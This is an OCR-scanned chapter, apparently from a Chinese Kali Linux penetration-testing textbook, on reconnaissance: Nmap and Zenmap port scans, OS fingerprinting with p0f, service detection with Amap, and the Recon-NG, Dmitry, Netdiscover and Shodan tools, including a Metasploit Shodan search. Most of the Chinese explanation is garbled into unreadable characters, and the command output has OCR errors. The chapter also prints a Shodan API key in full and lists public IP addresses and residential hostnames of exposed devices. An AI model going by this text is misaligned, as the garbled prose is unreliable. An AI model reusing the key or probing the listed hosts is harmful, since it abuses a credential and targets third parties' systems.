i A 3 B 00 B o S LA, S WL P e R T, LLGIE H B 5 i) 3 e il il B
T .

44 BTHITHG%D

Af A~ I ) P 28 B B ML T BE I L, B T AR L L b AT A
145 . {& Kali Linux 2R HE{E T Nmap il Zenmap #5140 0 T . 25 705 H s &
erp 4T I TCP # UDP & 1, AT A4 Nmap Sl Zenmap T FLF{EH] .

441 TCP im 33T HE Nmap

/] Nmap T H. & Hbr EHL 192.168.41.136 b5 1. 04T 6400 F os:

root@kali:~# nmap 192.168.41.136

Starting Nmap 6.40 ( hitp://nmap.org ) at 2014-04-19 16:21 CST
Nmap scan report for www.benet.com (192.168.41.136)

Host is up (0.00022s latency).

Mot shown: 996 closed ports

PORT STATE SERVICE
21/tep open ftp

22/tcp open ssh

23/tcp open telnet
25/tep opne smtp
53/tcp open domain
80/tcp open http

111/tcp open rpcbind
139/tcp open netbios-ssn

« i -
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445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
109%9/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysq|
5432/tcp open postgresgl
5900/tcp open vnc
6000/tcp open X1

6667 /tcp open irc
8009/tcp open ajp13
8180/tcp open unknown

MAC Address: 00:0C:29:31:02:17 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds

G (e L s 1 501 192.168.41.136 T BT 8w 1, 122, 53, 80 FI 111 %
1. fsERRKIFEOEE
MR H e EFT s i, B P Aok el fe A s . X mH R o) LI R

Nmap H7E 51 D JE L Wids e 4 im S 7 1~ 1000 2[5l 105, ST FaTns:

root@kali:~# nmap -p 1-1000 192.168.41.136

Starting Nmap 6.40 ( http://nmap.org ) at 2014-04-19 16:27 CST
Nmap scan report for www.benet.com (192.168.41.136)

Host is up (0.00020s latency).

Not shown: 49 closed ports

PORT STATE SERVICE
21itcp open ftp

22/tcp open ssh

23/tep open telnet
25/tcp opne smtp

S53/tcp open domain
80/tcp open http

111/tcp open rpcbind
139/cp open netbios-ssn
445/tcp open microsoft-ds
512/icp open exec
513/tcp open login
S514/tcp open shell

MAC Address: 00:0C:29:31:02:17 (VMware)
MNmap done: 1 IP address (1 host up) scanned in 0.35 seconds

B s B s T L 192.168.41.136 _F3E I7E 1~ 1000 22 &) fr FF 0 6 115 .
2. ARFEIRmA

Nmap T Hid 0] LA & M o dm 5 214 .
(3245 4-2] {6/ Nmap T HARE4307E 192.168.41.% M Ly BT 45 JF B TCP i 11 22 (1)

FHL. ATarS W R R,

root@kali:~# nmap -p 22 192.168.41.+

Starting Nmap 6.40 ( hitp://nmap.org ) at 2014-04-21 09:44 CST
Nmap scan report for 192.168.41.1



2R (A EmE R

Host is up (0.00029s latency).

PORT STATE SERVICE

22/tcp closed ssh

MAC Address: 00:50:56:C0:00:08 (VMware)

Nmap scan report for 192.168.41.2

Host is up (0.00032s latency).

PORT STATE SERVICE

22{tcp closed ssh

MAC Address: 00:50:56:E9:AF:47 (VMware)

Nmap scan report for www.benet.com (192.168.41.136)
Host is up (0.00056s latency).

PORT STATE SERVICE

22/tcp open ssh

MAC Address: 00:0C:29:31:02:17 (VMware)

Nmap scan report for 192.168.41.254

Host is up (0.00027s latency).

PORT STATE SERVICE

22{tcp filtered ssh

MAC Address: 00:50:56:E1:5E:75 (VMware)

Nmap scan report for 192.168.41.234
Host is up (0.000052s latency).
PORT STATE SERVICE

22/tcp open ssh

Nmap done: 256 IP addresses (5 hosts up) scanned in 2.81 seconds

G a A s T 192.168.41.% 6 B gy A7 IF A 22 S A EHUE B Wi o fs B
ALLES], SEERa BN LTI T 22 556,

{51 Nimap T B8 T LU @ 0 1 22 25 it be . 30T fr & F s

root@kali:~# nmap -p 22 192.168.41.* -0G /tmp/nmap-targethost-tcp445.txt

PATEL EanA SR AE E S =D g B 2L, X AR, (02T
i i, Nmap 22850 H 045 B 447 2]/tmp/ nmap-targethost-tep445.txt L {F .

4.4.2 Ef4 TCP im O T E Zenmap

Zenmap it Nmap T 7 HEHH 0% T Nmap (1224108 S et B bt
AT A RS, Rt MER e R L. PR 4 Zenmap T H AT .

JH5) Zenmap T H. 7t Kali BEJESIHCOGES “ WA [Kali Linux|] “ {5 B |
“DNS 40”7 |Zenmap fiy 2, CEFT TR0 4.2 B v 0 -

Tenmap
Scan Tosls Profile Help

Target Profile: | Intence goes b Shean
Command |mmap T4 -4 -v
Heats | Sereces Wmap Cutpat | Ports / Heats  Tepolegy Heat Details | Scans

as Host b

H 42 Zenmap {24 F1E



$ran 5 Bl

{E 1% 541 Target SCASHE T A H AR EHLHENE, 75 Profile SCACHE ik FRA145 2561
Sela, Huili Scan fHL, FHHEEE SN 4.3 B

Zanmap E -----..-]

Scan Tools Profle Help

Target: (19216841 %  Profile | intense scan % |Swan| | Cancel

Command: |rmap T4 A - 192 168 4] *

[
_Hosts | Senace Wmag Gutput | Ports f Hosts  Topology Host Detals Scans

-

0% Host nmap -T4 -A -w 192188 417 -

@ 13718841 ; UlScowared opan port S4/tcp on 194, 1sH. 41, L3
Discowered opan port 13%/tcp om 192.168.41.1
U 19216841 Discovered open port 443 tcp on 192.168.41.1
M wwwbenere DiSCOwered apsn port BAStop on 192, 168,41, 136
Discovered open port S9637tcp on 192.168.41.1
m Discovered open port 445/7tcp on 192.168.41.1
- 192 168.41.° Discavered opan port BA59/tcp on 192, 168.41.1
Conpleted SYN Stealth Scan against 192, 168.41, 136
in B.17s (3 hosts left)
Discowared opan port S127tcp onm 192.168.41.1
Discovered apan port 49160/tcp on 192, 168.41.1
Discowered apan port 5983 tcp on 192.168.41.1
Discowered open port 49153/tcp on 192.168.41.1
Discovered open pert 49155 /tcp an 192.168.41.1
| ——— D Discovered open port 24830/tcp an 192.168,.41.1
Discowared opan port 49152/tcp an I9I.1&ﬂ.¢l.l
Filter Hosts Mot am e PR P s ml P s B s et

43 i

Z A s T 3 192.168.4 1= W B BT ENLE s AT 2 S S 7R ZE RS P e] A
P L E LR 45 1 2040 ) R PR B . Ae e eh, mT L4 Bl S Namp it
(SR, BN dhEif. AR S SR E R,

4.5 B %I8EIRA)

AL — S5 A SER LR A 22 G (T 4R SOV RIS IE S A AT o HR0 S UL
RYM AR, OISR IR, A B FRERR MUY S R E WasiE N
i, TR EEE AR AE RV A AT L. AR A AT Nmap T HG R
IBAT I MU R 5.

451 {£H Nmap TRiA5I RGBSR

{# /1] Nmap i (-0 SEIUS F B AE RGBT RE. AT dr & W T B :

root@kali:~# nmap -O 192.168.41.136

Starting Nmap 6.40 ( hittp://nmap.org ) at 2014-04-19 19:20 CST

MNmap scan report for www.benet.com (192.168.41.136)

Host is up (0.00045s latency).

Mot shown: 996 closed ports

PORT STATE SERVICE

22/tcp open ssh

53/tcp open domain

80/tcp open hitp

111/tcp open rpchind

MAC Address: 00:0C:29:31:02:17 (VMware) IIMAC Htik
Device type: general purpose

Running: Linux 2.6.X|3.X

OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:fo:linux:linux_kernel:3 IR{EFRGER

OS details: Linux 2.6.32 - 3.9
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MNetwork Distance: 1 hop

OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.18 seconds

B E B s T L 192.168.41.136 5405 B, 485 H s BYET PSR 1. MAC

Mohl BRAERGERAUNAZRASE.

452 4RSI B pof

pOf 21 70 2 F AR S0 R . i TR S04 H bR E LA H A S 1.

AL LR RS T S0, B ETE RS AT P R A By JS i AT . pOf

I

ER A ST

O R,

Q il

Q XEFiEiTTkiEzE;

Q s T T NAT B

O & fiafr T iy d ik,

Q i |“£f|,1_. 3 Bl ]

Q ZEfE RSN DSL f ISP {5 5% .

{EH] pOf 4341 Wireshark fifi k11 4~ 3CfF. AT a2 0 F B

root@kali:~# pOf -r /tmp/targethost.pcap -o pOf-result.log

--- pOf 3.06b by Michal Zalewski <lcamtuf@coredump.cx> ---
[+] Closed 1 file descriptor.

[+] Loaded 314 signatures from "pOf.fp".

[+] Will read pcap data from file '/tmp/targethost.pcap’.

[+] Default packet filtering configured [+VLAN].

[+] Log file 'pOf-result.log' opened for writing.

[+] Processing capture data.

-[192.168.41.234/55653 -> 192.168.41.141/80 (syn) |-

| client = 192.168.41.234/55653

| os = Linux 2.2.x-3.x

| dist =0

| params = generic

| raw_sig = 4:64+0:0:1460:mss+20,10:mss,sok,ts,nop,ws:df,id+:0

~[ 192.168.41.234/55653 -> 192.168.41.141/80 (mtu) ]-
|

| client = 192.168.41.234/55653
| link = Ethernet or modem
| raw_mtu = 1500

~[ 192.168.41.234/55653 -> 192.168.41.141/80 (syn+ack) |-

|
| server =192.168.41.141/80

| os = Linux 3.x

o Q) =
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| dist =0
| params = none
| raw_sig = 4:64+0:0:1460:mss+10,6:mss,sok,ts,nop,ws:df:.0

~[ 192.168.41.234/55653 -> 192.168.41.141/80 (mtu) ]-
|

| server =192.168.41.141/80
| link = Ethernet or modem
| raw_mtu = 1500

~[ 192.168.41.234/55653 -> 192.168.41.141/80 (http request) ]-
I

| client = 192.168.41.234/55653

| app = Firefox 10.x or newer

| lang = English

| params = none

| raw_sig =

1:Host, User-Agent, Accept=[text/html application/xhtml+xml,application/xml;q=0.9,+/+;q=0.8], Acce

pt-Language=[en-US,en;q=0.5], Accept-Encoding=[gzip,deflate], Connection=[keep-alive].Accept-
Charset Keep-Alive:Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0
lceweasel/22.0

~[192.168.41.234/55653 -> 192.168.41.141/80 (http response) |-
|

| server =192.168.41.141/80

| app = Apache 2.x

| lang = none

| params = none

| raw_sig =

1:Date,Server Accept-Ranges=[bytes], ?Content-Length, Connection=[close], Content-Type:Keep-
Alive:Apache/2.2.15 (Red Hat)

-

All done. Processed 718 packets.

it R B pOf 43 #T targethost.peap () — 45 . %05 Hrb o T % 7 i 5 IR %5 2%
MR, IR RGEEA. bk, BUKRER. JE17 1000 55 8 i 15 25,

LR pOf 04~ v2 Ao v3 B BT M 6 AT AR A £ 5], flde, M pOR2 AT,
A8 5% LA 09180 A -s, {224 v3 RRAT Zr. AP F A pOf BAA V3,

4.6 JRE09F845R 7

TR AN T B IE I, 20 RIS H bR R RS R ‘EL{THM Jfﬁ"ﬂ}'ﬁ
?ji[f;i,h.ﬁ,iuillluéﬁrﬁr'fd[ I RS2 AR AL . fF Kali tp, o] LL{EH] Nmap #1 Amap T H.iH 545
2ifa B A 404 F Nmap f1 Amap T _HL(F{# .

oq]o



2R E R r R A

46.1 {£A Nmap TRIRAIBRFELER

1] Nmap T H & 192.168.41.136 5 LIEARIZAT 5 H o P01 dr & W1~ FTos:

root@kali:~# nmap -sV 192.168.41.136

Starting Nmap 6.40 ( hittp://nmap.org ) at 2014-04-21 10:56 CST
Nmap scan report for www.benet.com (192.168.41.136)

Host is up (0.00020s latency).

Mot shown: 995 closed ports

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.2.2
22/tcp openssh OpenSSH 5.3 (protocal 2.0)
53/tcp opendomain

80/tcp openhttp Apache httpd 2.2.15 ((Red Hat))
111/tcp openrpcbind 2-4 (RPC #100000)

MAC Address: 00:0C:29:31:02:17 (VMware)

Service Info: OS: Unix

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.50 seconds

MBS el LU E F) H b4 28 Fagir s 0S4 21, 22, 53, 80 f1 111,
If s dds AR~ i 1 R ) il 4% A b A A

46.2 BRZHMZETE Amap

g

Amap & - MRFFHES T H. (FRIZTHA LL M EIBATAE A8 g 1 B8 [

HE SRR FHEH Amap THAETRER 50~100 3 HEHE A, S50 H fr

192.168.41.136 | IELEEATI0 N Ry . 04T a4 F
root@kali:~# amap -bg 192.168.41.136 50-100

Bl

amap v5.4 (www.thc.org/thc-amap) started at 2014-04-21 11:20:36 - APPLICATION MAPPING

mode

Protocol on 192.168.41.136:80/tcp matches http - banner: <!DOCTYPE HTML PUBLIC

“JIETF//DTD HTML 2 OEN"=\n<htm|=<head>\n<title=501 Method

Mot

Implemented<ftitle>\n</head=<body=\n<h1=Method Not Implemented</h1=\n<p> to / not

supported.<br /=\n</p=\n<hr=\n<address>Apache/2.2.15 (Red Hat) Server at www.benet.c

Protocol on 192.168.41.136:80/tcp matches http-apache-2 - banner: <IDOCTYPE HTML PUBLIC

"JIETF//DTD HTML 2 0/EN">\n<htm|><head>\n<title>501 Method

Not

Implemented<ftitle=\n</head><body>\n<h1>Method Not Implemented</h1=\n<p> to / not

supported.<br />\n</p>\n<hr>\n<address>Apache/2.2.15 (Red Hat) Server at www.benet.c
Protocol on 192.168.41.136:53/tcp matches dns - banner: \f
amap v5.4 finished at 2014-04-21 11:20:48

TR RN IR E] UM\ 1 192.168.41.136 FHLEE 50~100 & 56 B W IEAIEA T . M
s BRI BN AP e L TR EHL 192.168.41.136 H:Jljnu- Red Hat #{F # 46, JF H
_||;1f+-.xef1*a*i-ﬁ'»1~c}.r 2.2.15 (1] Apache Hli45 %, IETTROM a2 80, MARIECE —47{5 BT

LLE #iZ L2 T T DNS MR4se%, HoF ot s 2L 53,

« 07 .
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47 HpbAz K EF K

i A2 7 AE A a0 T B LA D BR A AT 715 BliciE . 78 Kali whid o] LR
' 'J"hﬂ';?ﬂﬂl’f{llﬁi'H’-'u:i;:’ Bk i s S, il B Recon-NG #HE4E, Netdiscover ” H fll Shodan
CRS. AR AE IR Ty ik, SIS Rk

471 Recon-NG #E2Z2

Recon-NG it 1 Python &5 i TR Web flifs ({5 BCEE) HEXL. Recon-NG #E
B AR TR, R E AT A E 2 s BT e . R IR A28 A H] Recon-NG
it T Ha

izl Recon-NG fE4L, W Aram4- W o

root@kali:~# recon-ng

A 1! A A1 NN N N ! ! NN
N o N N o e NN i
NN NEN ! _f R R S BT A N Y R Y Y e N |
_f A ! ! _f A M _ A N
N | _f_!_f_f i RN ! Y \ / | N
(- _ . |
T A A R - - o | |
II OICICN T T OMO o Qv T
| Consulting | Research | Development | Training |
|

http://www.blackhillsinfosec.com |

-+
T

[recon-ng v4.1.4, Tim Tomes (@LaNMaSteR53)]
[56] Recon modules
[5] Reporting modules
[2] Exploitation modules
[2] Discovery modules
[1] Import modules
[recon-ng][default] =

PL St E B T Recon-NG HEBL R ELAE B . #1n, 7F Recon-NG XL, 4
56 MU, 5 MR, 2 MBEEELL, 2 MRIEHA 1 AR, £
[recon-ng][default] >$ /<75, Fo5 pil T ak Recon-NG HESL . ILAE , 1] LAFE [recon-ng][default]
PR I AT & PR & T .

B UAE ] Recon-NG HEBLZ i, 0] LU# R help fir 4 255 BT ol 4T 0 i 4. 10 F B

[recon-ng][default] = help
Commands (type [help|?] <topic=):

add Adds records to the database
back Exits current prompt level

« 03 .
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del Deletes records from the database
exit Exits current prompt level

help Displays this menu

keys Manages framework API keys

load Loads specified module

pdb Starts a Python Debugger session
query Queries the database

record Records commands to a resource file
reload Reloads all modules

resource Executes commands from a resource file
search Searches available modules

set Sets module options

shell Executes shell commands

show Shows various framework items
spool Spools output to a file

unset Unsets module options

use Loads specified module

workspaces Manages workspaces

PL &S B B8 TH#F Recon-NG HERL P O[GZ 4T a7 4 1% HE SR Metasploit fE#L S
tl, RIS E R 4, i, 7T LU# H show modules i 4 5 & i 7 13 @ d b ) 42 .
AT T S B

[recon-ng][default] = show modules

Discovery
discovery/info_disclosure/cache_snoop
discovery/info_disclosure/interesting_files

Exploitation
exploitation/injection/command_injector
exploitation/injection/xpath_bruter

Import
import/csv_file

Recon
recon/companies-contacts/facebook
recon/companies-contacts/jigsaw
recon/companies-contacts/jigsaw/point_usage
recon/companies-contacts/jigsaw/purchase_contact
recon/companies-contacts/jigsaw/search_contacts
recon/companies-contacts/linkedin_auth
recon/contacts-contacts/mangle
recon/contacts-contacts/namechk
recon/contacts-contacts/rapportive
recon/contacts-creds/haveibeenpwned
recon/hosts-hosts/bing_ip
recon/hosts-hosts/ip_neighbor
recon/hosts-hosts/ipinfodb
recon/hosts-hosts/resolve
recon/hosts-hosts/reverse_resolve
recon/locations-locations/geoccode
recon/locations-locations/reverse_geocode
recon/locations-pushpins/flickr

1941
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reconflocations-pushpins/picasa
recon/locations-pushpins/shodan
recon/locations-pushpins/twitter
recon/locations-pushpins/youtube
recon/netblocks-hosts/reverse_resolve
recon/netblocks-hosts/shodan_net
recon/netblocks-ports/census 2012
Reporting

reporting/csv
reporting/html
reporting/list
reporting/pushpin
reporting/xml
[recon-ng][default] =

M b S Beb, aTRLE B il ar e B AR IR LR, /6550 Recon-NG

HELR AT AT S, PP 6T LU AR A A 72 B AO1 S . R AT 9 TS 2 A 20
{4 Recon-NG i FUHEHUAT (5 S

[3Cf 4-3] {4 ] recon/domains-hosts/baidu_site #itl, M 2s baidu Wk ). ks

TEL IR F Fror.

(1) 14 H] recon/domains-hosts/baidu_site £l . 77400 F Fyoe:
[recon-ng][default] > use recon/domains-hosts/baidu_site
(2) frfizfad ol s AT oS WUk By s

[recon-ng][default][baidu_site] > show options
Name Current Value Req Description

SOURCE default yes source of input (see 'show info' for details)
[recon-ng][default][baidu_site] =

-FIJ'JI] H}JL e I i 1y ”J. L?Ja’ﬁjflj '{3 fxiiﬂﬁ i !-L ﬁl ?1
(3) FC¥E SOURCE kI Z 0. AT am-% Wi kAo

[recon-ng][default][baidu_site] > set SOURCE baidu.com
SOURCE == baidu.com

M s 2b, vl BLEE # SOURCE i m 247 O 28 v ' 24 baidu.com.
(4) FIEhGE B, $dTdr S T

[recon-ng][default][baidu_site] > run

[*] URL: http://www.baidu.com/s?pn=0&wd=site%3Abaidu.com
[*] map.baidu.com

[*] 123.baidu.com

[*] jingyan.baidu.com

[*] top.baidu.com

[*] www.baidu.com

v 05 .
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[*] hi.baidu.com

[*] video.baidu.com

[*] pan.baidu.com

[*] zhidao.baidu.com

[*] Sleeping to avoid lockout...

SUMMARY

[*] 9 total (2 new) items found.

M s B, nT LR B3R T 9 A48, Hos 2 BT Edls £ 1% 452 21 Recon-NG
JRCE P EREE . X, P ar LA — AR A e H R .

(3261441 G REA RGN . HARERAE LS T s,

(1) &+ reporting/esv #ER, 776 40 F o,

[recon-ng][default] > use reporting/csv

(2) e . AT A S R s

[recon-ng][default][csv] = run
[+] 9 records added to '/root/.recon-ng/workspaces/default/results.csv'.

Mg s Bl BLFE S, 230 9 i = & # ¥ i 3 /root/.recon-ng
fworkspaces/default/results.csv SO, FTZC, WiPd 4.4 Fras.

results.csv - | d

XAFF) R4 (E) HF{S} ﬁii{ﬂ'] #‘E’I{H}

"123.baidu.comn’

“hi.paidu.com" P
"]1ng3.-ar1.t:-alclu.c0m R
"map.baidu.com®, ", ",
"Dan balﬂl_] CGITIII' nm . nn . n II,'III‘l nm
|ItDFI baldu cDITI“ 1. . mnin . "nn r"'l‘l (L)
"video . baiduy. cn:um" LU
“wiiw . baidu.com® S,
IlzhidaadnaidJLchH'""rII":“"‘III |I‘III|

¥ 4.4 results.csv W1

(3) MiZFrinT LLE S|, Kas 2l prf 1.
F P ] LU ) Dmitry #3540, #0256 T Mk 1945 B . FinE 49 Dmitry 641048 H
5% Dmitry a4 M5 B AT @4 W R Bk

root@kali:~# dmitry -h

Deepmagic Information Gathering Tool

"There be some deep magic going on"

dmitry: invalid option -- '’

Usage: dmitry [-winsepfb] [-t 0-9] [-0 %host.txt] host

Save output to %host.txt or to file specified by -o file
Perform a whois lookup on the IP address of a host
Perform a whois lookup on the domain name of a host
Retrieve Netcraft.com information on a host

Perform a search for possible subdomains

w3+
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-e Perform a search for possible email addresses

-p Perform a TCP port scan on a host
+ -f  Perform a TCP port scan on a host showing output reporting filtered ports

* -b  Read in the banner received from the scanned port
* -t 0-9 Set the TTL in seconds when scanning a TCP port ( Default 2 )
*Requires the -p flagged to be passed

L LA R T dmitry iy 4 AT SCRITAT 0T I 2280 R dmitry fir 4 0)-s i
O, AR . AT A R TR

root@kali:~# dmitry -s google.com

Deepmagic Information Gathering Tool

"There be some deep magic going on"
HostlP:173.194.127.71

HostName:google.com

Gathered Subdomain information for google.com

Searching Google.com:80...

HostName:www.google.com

HostlP:173.194.127 .51

Searching Altavista.com:80...

Found 1 possible subdomain(s) for host google.com, Searched 0 pages containing 0 results
All scans completed, exiting

MG B, aTRAERHE RS il % 78 ) www.google.com, TP Huhk
H173.194.127.51. S ERUJE M google.com M b5, i HAfiE 442 google.com ¥ i
%, HUT LD E 4 2 U B Unable to connect: Socket Connect Error £ 5 (i L.

47.2 ARP {iiZ& T E Netdiscover

Netdiscover /&~ Fal/Ha) 1 ARP fiifs T H.. i T HAEAMEHN] DHCP [ L2k 45 I
e A . i Netdiscover T H nJ LAFEM % 44 1P Muht, 5 & 7ELk T hLakflez e
L) ARP 152K T HERF 21 Netdiscover L E E H] 7%

Netdiscover iy 2 I TE A% 0 F B

netdiscover [-i device] [-r range | -l file | -p] [-s time] [-n node] [-c count] [-f] [-d] [-S] [-P] [-C]

LL Biig, SEm s L R R .
O -idevice: Mgz dfEll.
-r range: fEEFIHTMEEH .
-1 file: FiF 3 4 Ju [ &1 % S0 .
-p: fEHBEANEIA, A RIEEATEEE .
-s time: f~ ARP 15 27 0] (1) BN I 0] .
-nnode: ] AT RE .
-c count: ACi% ARP 1 I [a] i 2 .
f: ] sl

COoOO0O00O0DDO
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Rl T W S

I HI A1~ ARP 5 K 2[R0l (1 FE ARG 7] o

':“-E]“H:I I

Q -L: AFR{E BA, JFaRaeiifT 4.

(32751 4-51 {EH] Netdiscover " H Yo 434 Jmydald b b Brfy (7 4L ST W1 T B

(Hy Ry
VoA

root@kali:~# netdiscover
AT EL Ean 2 ke, R Ras i R4 B
Currently scanning: 10.7.99.0/8 | Screen View: Unique Hosts

692 Captured ARP Req/Rep packets, from 3 hosts.  Total size: 41520

P At MAC Address Count Len MAC Vendor
192.168.6.102 00:e0:1c:3c:18:79 296 17760  Cradlepoint, Inc
192.168.6.1 14:e6:ed:ac:fh:20 387 23220 Unknown vendor
192.168.6.110 00:0c:29:2e:2b:02 09 540 VMware, Inc.

M EE B, TRUE SR T =& BHL. I 1P Huhb4rnl A 192.168.6.102,
192.168.6.1 F1 192.168.6.110.

4.7.3 #E5|# T E Shodan

Shodan f& HLIPER) s K — MU R T R, Z T AARERN ERMALE, s
PAURIRS 28 . Shodan ATLABLEE 4k “ MU B, — PRI THRA FA R IR S
PEATR 528 BER k. ATEDHLRIBE 2855, R4 AR TE R S LA MESS28 1 A ARy
MRS B RS S mdan L H A8

Shodan 1Y) 77 W9 41k i www.shodanhq.com. F]FFi%PhE 5L, s 4.5 Bros.

B

oy SHODAN - Computer & x

€« C [ www.shodanhg.com Ly @ =

Shodan Exploits Scanhib Maps Blag SAnEreersary Promolion

«siooan [ -

EXPOSE ONLINE DEVICES.

WEBCAMS. ROUTERS.
PowER PLANTS. IPHONES. WIND TURBINES.
REFRIGERATORS. VOIP PHONES.

¥ 45 Shodan 7%

WUR L 2RI, {F Shodan 6 W) SCASHE h g AR 11 A 28 2805, FLidi Search
ESHIBAR SRl A &H, P R R Rl g, WIFERZEAHE 5 A Cisco, JfHlili Search

« O «
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MiZ ST LA RS R B2 ER =1 £ )71 Cisco MH1 2. 6% 3t - ol LT
IP Hhhb, BRIz,

fE{# ] Shodan {83545, nl LAl FH o i 288 ik 4 40 2 00 P P dott i) o o 77 22 1 4
Pi. WA s rfE 22 1S R.0 (1T AT 1S MR%, nICLfEHICL Fi8ge ik, Wil 4.7 iR,
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% SHODAN

¥+ Add to Direciory il Expant Duata

Raaults 1 - 10 of @toit 248 fr 1500 bosiname:microsofLoom countnyUs

Services T L
HTTE 11,007 16138 HWITR 1.0 200
HTTE Micreesodt Coaporabon Conbent-Trpe: et Mini
[T Aliarnais P = Lagl-Modif ind: Tus, 0§ Mew D12 07:58:17 GMT \.ﬂ‘\
ITTRS Aleinate 1 Ditails Acoeet=Ranges: L Hurr [}
HTTE 1 Elari “froaeflel dbbod] L1 Im
P M rasotcom Server: MicressdL- 11500
Pewsrad-By: ASF.NET

Top Cities Duied Sk, 17 Jul P04 Od: 18280 GNT
Radmnd Lo Contert-Length: 1158 Cedehrating 1
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Maperal i Lhoelan
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1. CityFiCountryfis %

£ /] City 1 Country 74 v LLAR DR IR E . i FRR.

O country:US 275 M2 [E i THE
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O city:Memphis &7 Mo 28 M i 444
City il Country fiv &0 LS50 H . R R
O country:US city:Memphis.

2. HOSTNAME#%

HOSTNAME iy 41 il 37 52 EHL A i .
O hostname:google #75§% % google T #l.

3. NET&#%

ff ) NET iy 414 oA~ 1P alf— A~ a [ . W BT
O net:192.168.1.10: 4 EHL 192.168.1.10.
O net:192.168.1.0/24: 14 192.168.1.0/24 W 25 BT T HL.

4. Titleds %

fii ] Title dg-% vl MEETH . W FHR.
Q title: “Server Room” #Ri8RM&EEHLHEE B

5. XEFHEER

Shodan {8 F > I fat - 8 2 L s S2 WG ) Jy G W SR ANIE H A5 R EEAE R IR 55 25 A5
o NGRS 2 4, A8 > Web G AR AL W1 F TR,
Q apache/2.2.8 200 ok: /{8 FT47 Apache JR%5 IFAEIZ1TIY 2.2.8 WA, FF AL{4%
FATFF 0k A
QO apache/2.2.8 -401 -302: Fondkid Sax 401 fr)AEZ 0TE 302 MH Bk 0L,

6. HEHER

Q [1S/7.0 hostname:YourCompany.com city:Boston 3¢ 7< 9% %8 78 3 - pr 7 1E 7F iz 17
118/7.0 [#] Microsoft i %%

O 118/5.0 hostname: YourCompany.com country:FR #2382 70 {2 [F fr 471247 11S/5.0 1

Q Title:camera hostname: YourCompany.com <75 (5 5 15 B UL bR 4y camera 1145 5 .

O geo:33.5.36.3 os:Linux Fas{l A 4REl (£80% 33.5, £51% 36.3) MIERI%% Linux
BiERS.

7. HitlRREAE

Q Port: i SR,

Q OS: JHid#ff /YU,

Q  After 2 Before: {4 H] I (o] %2 i 55 .

[3:5) 4-6]1 {4 H] Metasploit SCHL Shodan %2 . H AR E LR T Fros.

(1) 7F Shodanhq.com [#4 335 1 — A~ 6 9 A0 - .

(2) M http://www.shodanhq.com/api_doc [*ifi 35 API key, FRELFE0 1P 4.8 Frn.
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FRHL APl key, A TPEISTHITEH] .

e

Oy SHODAM - Computer & %
= C [ www.sh |

Shiodan Exploits Scanhub Maps Bl Anhiearsay Promotich l‘ 7

%siooan [ -

Homs Search [srectory Data Anakyticsl Expors Derveloper Cantar Labs

Soccess: AP key successiully genarated

Analytics

duivwgCmiodoDRVgRYataxBsidZUasBU

4.8 FREF] APL key

(3) Ji2)) PostgreSQL JIlt%. AT a4 Wi T Fon:

root@kali:~# service postgresql start

(4) 15 Metasploit J&55. AT @m0 F Bros:

root@kali:~# service metasploit start

(5) JAZ) MSF #8555, AT dir &0 F Bk

root@kali:~# msfconsole

msf >

(6) ILFE auxiliary/gather/shodan_search Fil, Jpffizfith FrlfcEaitmizZ4.
Frm 4 W F s,

msf = use auxiliary/gather/shodan_search

msf auxiliary(shodan_search) > show options
Module options (auxiliary/gather/shodan_search):

Name Current Setting Required Description

DATABASE false no Add search results to the database

FILTER no Search for a specific IP/City/Country /Host name
MAXPAGE 1 yes Max amount of pages to collect

OUTFILE no A filename to store the list of IPs

Proxies no Use a proxy chain

QUERY yes Keywords you want to search for
SHODAN_APIKEY yes The SHODAN API key

VHOST www.shodanhg.com yes The virtual host name to use in requests

ML S5 Brb, ol LAE 247 DY A~ 0 20 B e 2 B LT AN R T O 2R
QUERY #l SHODAN_APIKEY 4471 & .
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(7) BZ® QUERY 1 SHODAN APIKEY it 28, thirarSu FHrs:

msf auxiliary(shodan_search) > set SHODAN_APIKEY duVSvwgCmaoDoDfWaqfWafax8sj0ZUa5BU
SHODAN_APIKEY == duV9vwgCmoloDiWqfWafax8sj0ZUa5EBU

msf auxiliary(shodan_search) > set QUERY iomega

QUERY == iomega

M mfs B, TR 3] QUERY HI SHODAN _APIKEY 41 ke Dh fic i .
(8) Jiahi¥&Eg| %, WATd SRR

msf auxiliary(shodan_search) = run
[*] Total: 160943 on 3219 pages. Showing: 1

[+] Country Statistics:

[#*] United Kingdom (GB): 27408
[*] United States (US): 25648
[#*] France (FR): 18397

[#*] Germany (DE): 12918

[*] MNetherlands (MNL): 6189

[*] Collecting data, please wait...

IP Results
IP City Country Hostname
104.33.212.215:80 INJA IN/A cpe-104-33-212-215.s0cal.res.rr.com
107.3.154.29:80 Cupertino United States ¢-107-3-154-29.hsd1.ca.comcast.net
108.0.152.164:443 Thousand Oaks  United States pool-108-0-152-164.Isanca fios. verizon.net
108.20.167.210:80 Maynard United States
pool-108-20-167-210.bstnma.fios.verizon.net
108.20.213.253:443 Franklin United States
pool-108-20-213-253.bstnma.fios.verizon.net
109.156.24.235:443 Sheffield United Kingdom

host109-156-24-235.range109-156.btcentralplus.com
129.130.72.209:443 Manhattan United States

130.39.112.9:80 Baton Rouge United States Isf-museum.lsu.edu

146.52.252.157:80 Leipzig Germany  ip9234fc9d.dynamic.kabel-deutschland.de

147.156.26.160:80 Valencia Spain gpoeibak.optica.uv.es

94.224 87.80:8080 Peutie Belgium 94-224-87-80.access.telenet.be

95.93.3.155:80 Faro Portugal a95-93-3-155.cpe.netcabo.pt

96.232.103.131:80 Brooklyn United States
pool-96-232-103-131.nycmny.fios.verizon.net

96.233.79.133:80 Woburn United States
pool-96-233-79-133.bstnma fios.verizon.net

96.240.130.179:443 Arlington United States
pool-96-240-130-179.washdc.fios.verizon.net

97.116.40.223:443 Minneapolis  United States 97-116-40-223.mpls.qwest.net

97.76.110.250:80 Clearwater United States rrcs-97-76-110-250.se .biz.rr.com

98.225.213.167:443 Warminster United States
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c-98-225-213-167.hsd1.pa.comcast.net
[*] Auxiliary module execution completed

